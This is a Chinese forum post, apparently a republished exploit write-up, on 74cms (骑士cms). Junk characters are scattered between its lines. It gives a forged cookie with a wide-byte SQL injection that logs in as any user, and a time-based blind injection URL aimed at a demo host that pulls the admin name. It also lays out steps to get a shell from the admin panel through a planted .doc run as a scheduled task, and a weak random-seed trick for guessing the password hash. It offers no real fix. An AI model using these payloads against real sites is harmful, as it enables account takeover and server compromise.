骑士cms注入及后台拿shell

0x1 任意用户登录

( ^5 V( B  D# v8 Z　　0x2 盲注
: c- V* c" R2 Z) @$ G8 {" G1 R" @
　　0x3 后台拿shell
" r; ?; q9 ~3 p. ^$ x* v( L  |
　　0x4 随机函数问题
' ]5 F! P  N' [7 ~4 _
　　详细说明：
3 n5 r( [+ m4 R2 r1 }
8 J* V6 P  ^8 }# V　　0x1 任意用户登录
# [% \. y' Y) _
　　user/login.php
/ p7 ]5 @  V& p" P
9 k; L4 l5 G/ `8 T$ h0 w: r　　elseif((empty($_SESSION['uid']) || empty($_SESSION['username']) || empty($_SESSION['utype'])) && $_COOKIE['QS']['username'] && $_COOKIE['QS']['password'] && $_COOKIE['QS']['uid'])
* H2 b& E8 `- e* q! @
　　{
4 m; _* k) z+ C5 D
5 j' G1 O" [+ B& B　　if(check_cookie($_COOKIE['QS']['username'],$_COOKIE['QS']['password']))

" g& t: _. W2 }0 J+ w　　{

, e- `. D! c6 c8 l. m　　update_user_info($_COOKIE['QS']['uid'],false,false);

# w6 S4 j+ y5 C1 k) I- U& Y2 G　　header("Location:".get_member_url($_SESSION['utype']));
' h3 o, k$ C3 L  \  n' N
　　}
& O( i5 u' q2 C
　　else

% b7 j: P- @1 k/ W# Q; z　　{
( Z- f0 d% x2 d: w$ Q1 b5 z
　　unset($_SESSION['uid'],$_SESSION['username'],$_SESSION['utype'],$_SESSION['uqqid'],$_SESSION['activate_username'],$_SESSION['activate_email'],$_SESSION["openid"]);

( M) s( R+ C- C/ r! h　　setcookie("QS[uid]","",time() - 3600,$QS_cookiepath, $QS_cookiedomain);

5 p& W) _  a4 W" }　　setcookie('QS[username]',"", time() - 3600,$QS_cookiepath, $QS_cookiedomain);

, U8 o- M' s0 [/ J0 W　　setcookie('QS[password]',"", time() - 3600,$QS_cookiepath, $QS_cookiedomain);
0 E  ~" P) W# Z
4 U2 @5 {$ R  |- C+ J　　setcookie("QS[utype]","",time() - 3600,$QS_cookiepath, $QS_cookiedomain);

4 b% x8 ?5 i. A+ {  Z' W　　header("Location:".url_rewrite('QS_login'));

　　}
2 Y% T+ C1 w. C8 R1 Q8 {! t
　　}
  r7 L4 i8 D$ h! `' z2 l6 l* o& w
　　include/fun_user.php
7 k9 Q; y; D' `: m
- O6 l# M) n- B( {5 R8 z　　//检测COOKIE
. @, {: c/ [: S8 B" ]
　　function check_cookie($name,$pwd){

, H* w% N- o+ t$ I% m! C6 K　　global $db;

9 `& ^7 O0 ^1 {1 C2 A　　$row = $db->getone("SELECT COUNT(*) AS num FROM ".table('members')." WHERE username='{$name}' and password = '{$pwd}'");

　　if($row['num'] > 0)

　　{

& d1 ?( X  {; T7 |. x- [& X+ v; E　　return true;

　　}else{
" f1 v+ h" i+ n6 p4 O$ ]! ~
9 [% h# e; M+ v3 ^3 t( u　　return false;

　　}
- N3 \0 ^: ?) n% c  i8 |
　　}

7 \, u5 p5 Q- ?3 o　　构造cookie如下

　　QS[uid] 2

　　QS[utype] 1

　　QS[password] 111111111111111111111
: _# u+ N* U2 g. P% m2 ]& R
　　QS[username]%bf%27 or 1=1 %23

* u9 \' g3 l; f2 h　　uid 为假冒用户的ID utype为用户类型password任意
+ J# o' U) ]" C' z; ^$ O
7 E9 I+ P2 n; I; W; ]　　0x2 盲注

; x& U3 g: H6 C: Y8 G! v* j2 p0 T　　http://demo32.74cms.com//resume/resume-list.php?key=test00%bf')/**/and+if((select/**/admin_name/**/from/**/qs_admin/**/limit/**/0,1)=0x61646D696E,benchmark(1000000000,(select/**/1)),1)/**/%23
/ Z  ]$ {- n9 _1 N' ^
　　上面两个都是宽字节注入,如果你能猜出管理员密码，还能解出双重md5的话，还能猜出后台路径，继续看下面

) V/ x6 f4 z  Z$ w3 r" q　　0x3 后台拿shell
* \$ I! G( X$ i0 V) F
　　1.先关闭csrf防御功能
2 V: D+ _- g# L& w( K
　　2.在hr工具箱中添加一个伪造的doc，内容为，记下路径data/hrtools/2012/06/1339941553308.doc

　　3.在工具-计划任务中添加任务，脚本任务填../../data/hrtools/2012/06/1339941553308.doc

　　4.然后执行

: m* a4 Y" I& y2 O7 s' W& \　　0x4 随机函数问题(几乎可以无视，纯属个人YY)

　　在admin_common.fun.inc.php中有个$QS_pwdhash是在安装的时候赋值的，只要能猜出就可已不用解双重md5了。
' c- R5 V( i$ |' J9 X
　　这个$QS_pwdhash是由randstr生成
* q6 i! E1 q9 P# W
　　function randstr($length=6)

　　{

　　$hash='';
5 E  k) t& w1 ~
  ?7 G' W  X* e- o" q, d& t　　$chars= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz@#!~?:-=';
0 L& G- e. [$ F! ^1 _9 `
　　$max=strlen($chars)-1;

' y/ a. Q4 B6 Q3 L( a6 {) ~1 }　　mt_srand((double)microtime()*1000000);
: n' L: M" f* ]4 S" `8 u5 v4 O
　　for($i=0;$i<$length;$i++) {

　　$hash.=$chars[mt_rand(0,$max)];
+ L( M4 c- @# ^, f4 k
　　}

　　return $hash;

　　}
- `$ q# c- E8 x& y
* S+ ~$ T6 B# i: L) R7 J  j　　生成长度为6的随机数，mt_srand()播种一样，就会得到一样的随机数，所以我们最多要猜1000000次就可以了(蛋疼)
& S# e1 d/ {0 M+ |# v1 O$ e2 s
' w: O; U8 L: B　　漏洞证明：
' r# H" _8 ~4 F8 I( C$ e8 K
3 z* {' H+ T: R) M% q　　修复方案：
; L7 e" G! _0 ~
　　do it yourself~

解决一切网站安全，湖盟云防火墙：hnhack.com

学习到了，之前一直没注意过这个点，受教了

刚好遇到类似问题，看完这个帖子心里有底了